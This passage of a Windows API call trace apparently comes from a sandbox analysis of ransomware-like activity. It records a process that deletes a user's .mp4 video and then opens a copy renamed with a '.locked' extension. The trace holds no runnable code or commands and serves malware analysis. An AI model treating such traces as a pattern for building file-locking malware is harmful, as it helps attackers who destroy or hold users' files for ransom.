lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0138.405] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0138.406] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4")) returned 0x20 [0138.406] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.406] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.406] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0138.406] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.406] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4\\", lpFilePart=0x0) returned 0x5e [0138.406] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0138.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0138.407] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0138.407] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0138.533] CoTaskMemFree (pv=0x8eb8d30) [0138.535] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4")) returned 0x20 [0138.535] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.535] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0138.535] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4"), fInfoLevelId=0x0, lpFileInformation=0x6941290 | out: lpFileInformation=0x6941290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ba08f0, ftCreationTime.dwHighDateTime=0x1d4a9db, ftLastAccessTime.dwLowDateTime=0x17ba9630, ftLastAccessTime.dwHighDateTime=0x1d4a3b1, ftLastWriteTime.dwLowDateTime=0x17ba9630, ftLastWriteTime.dwHighDateTime=0x1d4a3b1, nFileSizeHigh=0x0, nFileSizeLow=0xbec7)) returned 1 [0138.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0138.535] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4")) returned 1 [0138.541] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.541] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.541] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.541] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.541] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.543] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4.locked")) returned 0x20 [0138.543] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4.locked")) returned 0x20 [0138.543] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked", lpFilePart=0x0) returned 0x64 [0138.543] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked", lpFilePart=0x0) returned 0x64 [0138.544] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.544] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4", lpFilePart=0x0) returned 0x5d [0138.544] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.544] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.544] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.544] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.547] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.547] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.547] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.547] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.547] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.549] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.549] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.549] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.550] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.550] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.551] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.552] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.552] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.552] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.552] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.554] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.554] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.554] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.554] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.554] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.556] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0138.558] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4.locked"), fInfoLevelId=0x0, lpFileInformation=0x6957b38 | out: lpFileInformation=0x6957b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b88858, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x15b88858, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x15b88858, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xbee4)) returned 1 [0138.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0138.559] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked", lpFilePart=0x0) returned 0x64 [0138.559] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0138.559] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0138.559] CloseHandle (hObject=0x764) returned 1 [0138.566] GetConsoleOutputCP () returned 0x1b5 [0138.567] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.567] GetConsoleOutputCP () returned 0x1b5 [0138.567] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.567] GetConsoleOutputCP () returned 0x1b5 [0138.568] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.568] GetConsoleOutputCP () returned 0x1b5 [0138.568] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.568] GetConsoleOutputCP () returned 0x1b5 [0138.568] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.568] GetConsoleOutputCP () returned 0x1b5 [0138.569] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.569] GetConsoleOutputCP () returned 0x1b5 [0138.569] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.569] GetConsoleOutputCP () returned 0x1b5 [0138.570] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.570] GetConsoleOutputCP () returned 0x1b5 [0138.570] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.570] GetConsoleOutputCP () returned 0x1b5 [0138.570] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.571] GetConsoleOutputCP () returned 0x1b5 [0138.571] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.571] GetConsoleOutputCP () returned 0x1b5 [0138.571] 